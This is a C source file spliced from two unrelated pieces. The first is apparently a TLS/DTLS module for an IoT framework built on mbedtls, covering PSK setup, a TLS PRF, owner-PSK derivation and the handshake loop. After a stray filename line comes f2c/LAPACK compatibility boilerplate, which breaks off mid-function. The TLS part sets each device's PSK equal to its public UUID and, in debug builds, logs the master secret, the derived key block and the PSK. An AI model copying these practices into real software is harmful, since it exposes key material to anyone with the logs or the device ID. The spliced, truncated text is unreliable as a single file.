for (device = 0; device < oc_core_get_num_devices(); device++) {
mbedtls_ssl_config_free(&server_conf[device]);
#ifdef OC_TCP
mbedtls_ssl_config_free(&server_conf_tls[device]);
#endif /* OC_TCP */
}
#ifdef OC_DYNAMIC_ALLOCATION
if (server_conf) {
free(server_conf);
}
#ifdef OC_TCP
if (server_conf_tls) {
free(server_conf_tls);
}
#endif /* OC_TCP */
#endif /* OC_DYNAMIC_ALLOCATION */
mbedtls_ctr_drbg_free(&ctr_drbg_ctx);
mbedtls_ssl_cookie_free(&cookie_ctx);
mbedtls_entropy_free(&entropy_ctx);
}
int
oc_tls_init_context(void)
{
if (oc_core_get_num_devices() < 1) {
goto dtls_init_err;
}
#ifdef OC_DYNAMIC_ALLOCATION
server_conf = (mbedtls_ssl_config *)calloc(oc_core_get_num_devices(),
sizeof(mbedtls_ssl_config));
#ifdef OC_TCP
server_conf_tls = (mbedtls_ssl_config *)calloc(oc_core_get_num_devices(),
sizeof(mbedtls_ssl_config));
#endif /* OC_TCP */
#else /* OC_DYNAMIC_ALLOCATION */
mbedtls_memory_buffer_alloc_init(alloc_buf, sizeof(alloc_buf));
#endif /* !OC_DYNAMIC_ALLOCATION */
#ifdef OC_DEBUG
mbedtls_debug_set_threshold(4);
#endif /* OC_DEBUG */
mbedtls_entropy_init(&entropy_ctx);
mbedtls_ssl_cookie_init(&cookie_ctx);
mbedtls_ctr_drbg_init(&ctr_drbg_ctx);
if (mbedtls_ctr_drbg_seed(&ctr_drbg_ctx, mbedtls_entropy_func, &entropy_ctx,
(const unsigned char *)PERSONALIZATION_STR,
strlen(PERSONALIZATION_STR)) != 0) {
goto dtls_init_err;
}
if (mbedtls_ssl_cookie_setup(&cookie_ctx, mbedtls_ctr_drbg_random,
&ctr_drbg_ctx) != 0) {
goto dtls_init_err;
}
size_t i;
#ifdef OC_TCP
#define mbedtls_config_tls(func_name, conf, index, ...) \
do { \
func_name(&conf##_tls[index], __VA_ARGS__); \
} while (0)
#else /* OC_TCP */
#define mbedtls_config_tls(func_name, conf, index, ...) \
do { \
} while (0)
#endif /* !OC_TCP */
#define mbedtls_config(func_name, conf, index, ...) \
do { \
func_name(&conf[index], __VA_ARGS__); \
mbedtls_config_tls(func_name, conf, index, __VA_ARGS__); \
} while (0)
for (i = 0; i < oc_core_get_num_devices(); i++) {
mbedtls_ssl_config_init(&server_conf[i]);
if (mbedtls_ssl_config_defaults(&server_conf[i], MBEDTLS_SSL_IS_SERVER,
MBEDTLS_SSL_TRANSPORT_DATAGRAM,
MBEDTLS_SSL_PRESET_DEFAULT) != 0) {
goto dtls_init_err;
}
oc_uuid_t *device_id = oc_core_get_device_id(i);
if (mbedtls_ssl_conf_psk(&server_conf[i], device_id->id, 1, device_id->id,
16) != 0) {
goto dtls_init_err;
}
#ifdef OC_DEBUG
mbedtls_ssl_conf_dbg(&server_conf[i], oc_mbedtls_debug, stdout);
#endif /* OC_DEBUG */
#ifdef OC_TCP
mbedtls_ssl_config_init(&server_conf_tls[i]);
if (mbedtls_ssl_config_defaults(&server_conf_tls[i], MBEDTLS_SSL_IS_SERVER,
MBEDTLS_SSL_TRANSPORT_STREAM,
MBEDTLS_SSL_PRESET_DEFAULT) != 0) {
goto dtls_init_err;
}
if (mbedtls_ssl_conf_psk(&server_conf_tls[i], device_id->id, 1,
device_id->id, 16) != 0) {
goto dtls_init_err;
}
#ifdef OC_DEBUG
mbedtls_ssl_conf_dbg(&server_conf_tls[i], oc_mbedtls_debug, stdout);
#endif /* OC_DEBUG */
#endif /* OC_TCP */
mbedtls_config(mbedtls_ssl_conf_rng, server_conf, i,
mbedtls_ctr_drbg_random, &ctr_drbg_ctx);
mbedtls_config(mbedtls_ssl_conf_min_version, server_conf, i,
MBEDTLS_SSL_MAJOR_VERSION_3, MBEDTLS_SSL_MINOR_VERSION_3);
mbedtls_config(mbedtls_ssl_conf_ciphersuites, server_conf, i, ciphers);
mbedtls_config(mbedtls_ssl_conf_authmode, server_conf, i,
MBEDTLS_SSL_VERIFY_REQUIRED);
mbedtls_config(mbedtls_ssl_conf_psk_cb, server_conf, i, get_psk_cb, NULL);
mbedtls_ssl_conf_dtls_cookies(&server_conf[i], mbedtls_ssl_cookie_write,
mbedtls_ssl_cookie_check, &cookie_ctx);
mbedtls_ssl_conf_handshake_timeout(&server_conf[i], 2500, 20000);
}
#ifdef OC_CLIENT
mbedtls_ssl_config_init(&client_conf[0]);
if (mbedtls_ssl_config_defaults(&client_conf[0], MBEDTLS_SSL_IS_CLIENT,
MBEDTLS_SSL_TRANSPORT_DATAGRAM,
MBEDTLS_SSL_PRESET_DEFAULT) != 0) {
goto dtls_init_err;
}
oc_uuid_t *device_id = oc_core_get_device_id(0);
if (mbedtls_ssl_conf_psk(&client_conf[0], device_id->id, 1, device_id->id,
16) != 0) {
goto dtls_init_err;
}
#ifdef OC_DEBUG
mbedtls_ssl_conf_dbg(&client_conf[0], oc_mbedtls_debug, stdout);
#endif /* OC_DEBUG */
#ifdef OC_TCP
mbedtls_ssl_config_init(&client_conf_tls[0]);
if (mbedtls_ssl_config_defaults(&client_conf_tls[0], MBEDTLS_SSL_IS_CLIENT,
MBEDTLS_SSL_TRANSPORT_STREAM,
MBEDTLS_SSL_PRESET_DEFAULT) != 0) {
goto dtls_init_err;
}
if (mbedtls_ssl_conf_psk(&client_conf_tls[0], device_id->id, 1, device_id->id,
16) != 0) {
goto dtls_init_err;
}
#ifdef OC_DEBUG
mbedtls_ssl_conf_dbg(&client_conf_tls[0], oc_mbedtls_debug, stdout);
#endif /* OC_DEBUG */
#endif /* OC_TCP */
mbedtls_config(mbedtls_ssl_conf_rng, client_conf, 0, mbedtls_ctr_drbg_random,
&ctr_drbg_ctx);
mbedtls_config(mbedtls_ssl_conf_min_version, client_conf, 0,
MBEDTLS_SSL_MAJOR_VERSION_3, MBEDTLS_SSL_MINOR_VERSION_3);
mbedtls_config(mbedtls_ssl_conf_ciphersuites, client_conf, 0, ciphers);
mbedtls_config(mbedtls_ssl_conf_psk_cb, client_conf, 0, get_psk_cb, NULL);
mbedtls_ssl_conf_handshake_timeout(&client_conf[0], 2500, 20000);
#endif /* OC_CLIENT */
return 0;
dtls_init_err:
OC_ERR("oc_tls: TLS initialization error");
oc_tls_shutdown();
return -1;
}
int
oc_tls_update_psk_identity(size_t device)
{
oc_uuid_t *device_id = oc_core_get_device_id(device);
if (!device_id) {
return -1;
}
if (mbedtls_ssl_conf_psk(&server_conf[device], device_id->id, 1,
device_id->id, 16) != 0) {
return -1;
}
#ifdef OC_TCP
if (mbedtls_ssl_conf_psk(&server_conf_tls[device], device_id->id, 1,
device_id->id, 16) != 0) {
return -1;
}
#endif /* OC_TCP */
#ifdef OC_CLIENT
oc_uuid_t *client_device_id = oc_core_get_device_id(0);
if (mbedtls_ssl_conf_psk(&client_conf[0], client_device_id->id, 1,
client_device_id->id, 16) != 0) {
return -1;
}
#ifdef OC_TCP
if (mbedtls_ssl_conf_psk(&client_conf_tls[0], client_device_id->id, 1,
client_device_id->id, 16) != 0) {
return -1;
}
#endif /* OC_TCP */
#endif /* OC_CLIENT */
return 0;
}
void
oc_tls_close_connection(oc_endpoint_t *endpoint)
{
oc_tls_peer_t *peer = oc_tls_get_peer(endpoint);
if (peer) {
mbedtls_ssl_close_notify(&peer->ssl_ctx);
oc_tls_free_peer(peer, false);
}
}
static int
oc_tls_prf(const uint8_t *secret, size_t secret_len, uint8_t *output,
size_t output_len, size_t num_message_fragments, ...)
{
#define MBEDTLS_MD(func, ...) \
do { \
if (func(__VA_ARGS__) != 0) { \
gen_output = -1; \
goto exit_tls_prf; \
} \
} while (0)
uint8_t A[MBEDTLS_MD_MAX_SIZE], buf[MBEDTLS_MD_MAX_SIZE];
size_t i, msg_len;
int gen_output = 0, copy_len,
hash_len =
mbedtls_md_get_size(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256));
mbedtls_md_context_t hmacA, hmacA_next;
va_list msg_list;
const uint8_t *msg;
mbedtls_md_init(&hmacA);
mbedtls_md_init(&hmacA_next);
MBEDTLS_MD(mbedtls_md_setup, &hmacA,
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), 1);
MBEDTLS_MD(mbedtls_md_setup, &hmacA_next,
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), 1);
MBEDTLS_MD(mbedtls_md_hmac_starts, &hmacA, secret, secret_len);
va_start(msg_list, num_message_fragments);
for (i = 0; i < num_message_fragments; i++) {
msg = va_arg(msg_list, const uint8_t *);
msg_len = va_arg(msg_list, size_t);
MBEDTLS_MD(mbedtls_md_hmac_update, &hmacA, msg, msg_len);
}
va_end(msg_list);
MBEDTLS_MD(mbedtls_md_hmac_finish, &hmacA, A);
while (gen_output < (int)output_len) {
MBEDTLS_MD(mbedtls_md_hmac_reset, &hmacA);
MBEDTLS_MD(mbedtls_md_hmac_starts, &hmacA, secret, secret_len);
MBEDTLS_MD(mbedtls_md_hmac_update, &hmacA, A, hash_len);
va_start(msg_list, num_message_fragments);
for (i = 0; i < num_message_fragments; i++) {
msg = va_arg(msg_list, const uint8_t *);
msg_len = va_arg(msg_list, size_t);
MBEDTLS_MD(mbedtls_md_hmac_update, &hmacA, msg, msg_len);
}
va_end(msg_list);
MBEDTLS_MD(mbedtls_md_hmac_finish, &hmacA, buf);
copy_len = (((int)output_len - gen_output) < hash_len)
? ((int)output_len - gen_output)
: hash_len;
memcpy(output + gen_output, buf, copy_len);
gen_output += copy_len;
if (copy_len == hash_len) {
MBEDTLS_MD(mbedtls_md_hmac_reset, &hmacA_next);
MBEDTLS_MD(mbedtls_md_hmac_starts, &hmacA_next, secret, secret_len);
MBEDTLS_MD(mbedtls_md_hmac_update, &hmacA_next, A, hash_len);
MBEDTLS_MD(mbedtls_md_hmac_finish, &hmacA_next, A);
}
}
exit_tls_prf:
#undef MBEDTLS_MD
va_end(msg_list);
mbedtls_md_free(&hmacA);
mbedtls_md_free(&hmacA_next);
return gen_output;
}
bool oc_sec_derive_owner_psk(oc_endpoint_t *endpoint, const uint8_t *oxm,
const size_t oxm_len, const uint8_t *server_uuid,
const size_t server_uuid_len,
const uint8_t *obt_uuid, const size_t obt_uuid_len,
uint8_t *key, const size_t key_len) {
oc_tls_peer_t *peer = oc_tls_get_peer(endpoint);
if (!peer) {
return false;
}
size_t j;
for (j = 0; j < 48; j++) {
if (peer->master_secret[j] != 0) {
break;
}
}
if (j == 48) {
return false;
}
for (j = 0; j < 64; j++) {
if (peer->client_server_random[j] != 0) {
break;
}
}
if (j == 64) {
return false;
}
uint8_t key_block[96];
uint8_t label[] = { 0x6b, 0x65, 0x79, 0x20, 0x65, 0x78, 0x70,
0x61, 0x6e, 0x73, 0x69, 0x6f, 0x6e };
if (oc_tls_prf(peer->master_secret, 48, key_block, 96, 3, label,
sizeof(label), peer->client_server_random + 32, (size_t)32,
peer->client_server_random, (size_t)32) != 96) {
return false;
}
if (oc_tls_prf(key_block, 96, key, key_len, 3, oxm, oxm_len, obt_uuid,
obt_uuid_len, server_uuid, server_uuid_len) != (int)key_len) {
return false;
}
OC_DBG("oc_tls: master secret:");
OC_LOGbytes(peer->master_secret, 48);
OC_DBG("oc_tls: client_server_random:");
OC_LOGbytes(peer->client_server_random, 64);
OC_DBG("oc_tls: key_block");
OC_LOGbytes(key_block, 96);
OC_DBG("oc_tls: PSK ");
OC_LOGbytes(key, key_len);
return true;
}
size_t
oc_tls_send_message(oc_message_t *message)
{
size_t length = 0;
oc_tls_peer_t *peer = oc_tls_get_peer(&message->endpoint);
if (peer) {
int ret = mbedtls_ssl_write(&peer->ssl_ctx, (unsigned char *)message->data,
message->length);
if (ret < 0 && ret != MBEDTLS_ERR_SSL_WANT_READ &&
ret != MBEDTLS_ERR_SSL_WANT_WRITE) {
#ifdef OC_DEBUG
char buf[256];
mbedtls_strerror(ret, buf, 256);
OC_ERR("oc_tls: mbedtls_error: %s", buf);
#endif /* OC_DEBUG */
oc_tls_free_peer(peer, false);
} else {
length = message->length;
}
}
oc_message_unref(message);
return length;
}
#ifdef OC_CLIENT
static void
write_application_data(oc_tls_peer_t *peer)
{
if (!is_peer_active(peer)) {
OC_DBG("oc_tls: write_application_data: Peer not active");
return;
}
oc_message_t *message = (oc_message_t *)oc_list_pop(peer->send_q);
while (message != NULL) {
int ret = mbedtls_ssl_write(&peer->ssl_ctx, (unsigned char *)message->data,
message->length);
oc_message_unref(message);
if (ret < 0 && ret != MBEDTLS_ERR_SSL_WANT_READ &&
ret != MBEDTLS_ERR_SSL_WANT_WRITE) {
#ifdef OC_DEBUG
char buf[256];
mbedtls_strerror(ret, buf, 256);
OC_ERR("oc_tls: mbedtls_error: %s", buf);
#endif /* OC_DEBUG */
oc_tls_free_peer(peer, false);
break;
}
message = (oc_message_t *)oc_list_pop(peer->send_q);
}
}
void
oc_tls_elevate_anon_ciphersuite(void)
{
mbedtls_ssl_conf_ciphersuites(&client_conf[0], anon_ciphers);
#ifdef OC_TCP
mbedtls_ssl_conf_ciphersuites(&client_conf_tls[0], anon_ciphers);
#endif /* OC_TCP */
}
void
oc_tls_demote_anon_ciphersuite(void)
{
mbedtls_ssl_conf_ciphersuites(&client_conf[0], ciphers);
#ifdef OC_TCP
mbedtls_ssl_conf_ciphersuites(&client_conf_tls[0], ciphers);
#endif /* OC_TCP */
}
static void
oc_tls_init_connection(oc_message_t *message)
{
oc_tls_peer_t *peer =
oc_tls_add_peer(&message->endpoint, MBEDTLS_SSL_IS_CLIENT);
if (peer) {
oc_message_t *duplicate = oc_list_head(peer->send_q);
while (duplicate != NULL) {
if (duplicate == message) {
break;
}
duplicate = duplicate->next;
}
if (duplicate == NULL) {
oc_message_add_ref(message);
oc_list_add(peer->send_q, message);
}
int ret = mbedtls_ssl_handshake(&peer->ssl_ctx);
if (ret < 0 && ret != MBEDTLS_ERR_SSL_WANT_READ &&
ret != MBEDTLS_ERR_SSL_WANT_WRITE) {
#ifdef OC_DEBUG
char buf[256];
mbedtls_strerror(ret, buf, 256);
OC_ERR("oc_tls: mbedtls_error: %s", buf);
#endif /* OC_DEBUG */
oc_tls_free_peer(peer, false);
} else if (ret == 0) {
oc_tls_handler_schedule_write(peer);
}
}
oc_message_unref(message);
}
#endif /* OC_CLIENT */
oc_uuid_t *
oc_tls_get_peer_uuid(oc_endpoint_t *endpoint)
{
oc_tls_peer_t *peer = oc_tls_get_peer(endpoint);
if (peer) {
return &peer->uuid;
}
return NULL;
}
bool
oc_tls_connected(oc_endpoint_t *endpoint)
{
oc_tls_peer_t *peer = oc_tls_get_peer(endpoint);
if (peer) {
return (peer->ssl_ctx.state == MBEDTLS_SSL_HANDSHAKE_OVER);
}
return false;
}
static void
read_application_data(oc_tls_peer_t *peer)
{
OC_DBG("oc_tls: In read_application_data");
if (!is_peer_active(peer)) {
OC_DBG("oc_tls: read_application_data: Peer not active");
return;
}
if (peer->ssl_ctx.state != MBEDTLS_SSL_HANDSHAKE_OVER) {
int ret = 0;
do {
ret = mbedtls_ssl_handshake_step(&peer->ssl_ctx);
if (peer->ssl_ctx.state == MBEDTLS_SSL_CLIENT_CHANGE_CIPHER_SPEC ||
peer->ssl_ctx.state == MBEDTLS_SSL_SERVER_CHANGE_CIPHER_SPEC) {
memcpy(peer->master_secret, peer->ssl_ctx.session_negotiate->master,
sizeof(peer->master_secret));
OC_DBG("oc_tls: Got master secret");
OC_LOGbytes(peer->master_secret, 48);
}
if (peer->ssl_ctx.state == MBEDTLS_SSL_CLIENT_KEY_EXCHANGE ||
peer->ssl_ctx.state == MBEDTLS_SSL_SERVER_KEY_EXCHANGE) {
memcpy(peer->client_server_random, peer->ssl_ctx.handshake->randbytes,
sizeof(peer->client_server_random));
OC_DBG("oc_tls: Got nonce");
OC_LOGbytes(peer->client_server_random, 64);
}
if (ret == MBEDTLS_ERR_SSL_HELLO_VERIFY_REQUIRED) {
mbedtls_ssl_session_reset(&peer->ssl_ctx);
/* For HelloVerifyRequest cookies */
if (peer->role == MBEDTLS_SSL_IS_SERVER &&
mbedtls_ssl_set_client_transport_id(
&peer->ssl_ctx, (const unsigned char *)&peer->endpoint.addr,
sizeof(peer->endpoint.addr)) != 0) {
oc_tls_free_peer(peer, false);
return;
}
} else if (ret < 0 && ret != MBEDTLS_ERR_SSL_WANT_READ &&
ret != MBEDTLS_ERR_SSL_WANT_WRITE) {
#ifdef OC_DEBUG
char buf[256];
mbedtls_strerror(ret, buf, 256);
OC_ERR("oc_tls: mbedtls_error: %s", buf);
#endif /* OC_DEBUG */
oc_tls_free_peer(peer, false);
return;
}
} while (ret == 0 && peer->ssl_ctx.state != MBEDTLS_SSL_HANDSHAKE_OVER);
if (peer->ssl_ctx.state == MBEDTLS_SSL_HANDSHAKE_OVER) {
oc_handle_session(&peer->endpoint, OC_SESSION_CONNECTED);
}
#ifdef OC_CLIENT
if (ret == 0) {
oc_tls_handler_schedule_write(peer);
}
#endif /* OC_CLIENT */
} else {
oc_message_t *message = oc_allocate_message();
if (message) {
memcpy(&message->endpoint, &peer->endpoint, sizeof(oc_endpoint_t));
int ret = mbedtls_ssl_read(&peer->ssl_ctx, message->data, OC_PDU_SIZE);
if (ret <= 0) {
oc_message_unref(message);
if (ret == 0 || ret == MBEDTLS_ERR_SSL_WANT_READ ||
ret == MBEDTLS_ERR_SSL_WANT_WRITE) {
OC_DBG("oc_tls: Received WantRead/WantWrite");
return;
}
if (ret == MBEDTLS_ERR_SSL_PEER_CLOSE_NOTIFY) {
OC_DBG("oc_tls: Close-Notify received");
} else if (ret == MBEDTLS_ERR_SSL_CLIENT_RECONNECT) {
OC_DBG("oc_tls: Client wants to reconnect");
} else {
#ifdef OC_DEBUG
char buf[256];
mbedtls_strerror(ret, buf, 256);
OC_ERR("oc_tls: mbedtls_error: %s", buf);
#endif /* OC_DEBUG */
}
if (peer->role == MBEDTLS_SSL_IS_SERVER) {
mbedtls_ssl_close_notify(&peer->ssl_ctx);
}
oc_tls_free_peer(peer, false);
return;
}
message->length = ret;
oc_recv_message(message);
OC_DBG("oc_tls: Decrypted incoming message");
}
}
}
static void
oc_tls_recv_message(oc_message_t *message)
{
oc_tls_peer_t *peer =
oc_tls_add_peer(&message->endpoint, MBEDTLS_SSL_IS_SERVER);
if (peer) {
#ifdef OC_DEBUG
char u[OC_UUID_LEN];
oc_uuid_to_str(&peer->uuid, u, OC_UUID_LEN);
OC_DBG("oc_tls: Received message from device %s", u);
#endif /* OC_DEBUG */
oc_list_add(peer->recv_q, message);
peer->timestamp = oc_clock_time();
oc_tls_handler_schedule_read(peer);
}
}
OC_PROCESS_THREAD(oc_tls_handler, ev, data) {
OC_PROCESS_BEGIN();
while (1) {
OC_PROCESS_YIELD();
if (ev == oc_events[UDP_TO_TLS_EVENT]) {
oc_tls_recv_message(data);
}
#ifdef OC_CLIENT
else if (ev == oc_events[INIT_TLS_CONN_EVENT]) {
oc_tls_init_connection(data);
}
#endif /* OC_CLIENT */
else if (ev == oc_events[RI_TO_TLS_EVENT]) {
oc_tls_send_message(data);
} else if (ev == OC_PROCESS_EVENT_TIMER) {
check_retr_timers();
} else if (ev == oc_events[TLS_READ_DECRYPTED_DATA]) {
read_application_data(data);
}
#ifdef OC_CLIENT
else if (ev == oc_events[TLS_WRITE_APPLICATION_DATA]) {
write_application_data(data);
}
#endif /* OC_CLIENT */
}
OC_PROCESS_END();
}
#endif /* OC_SECURITY */
|
the_stack_data/117735.c | #include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/Cd(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
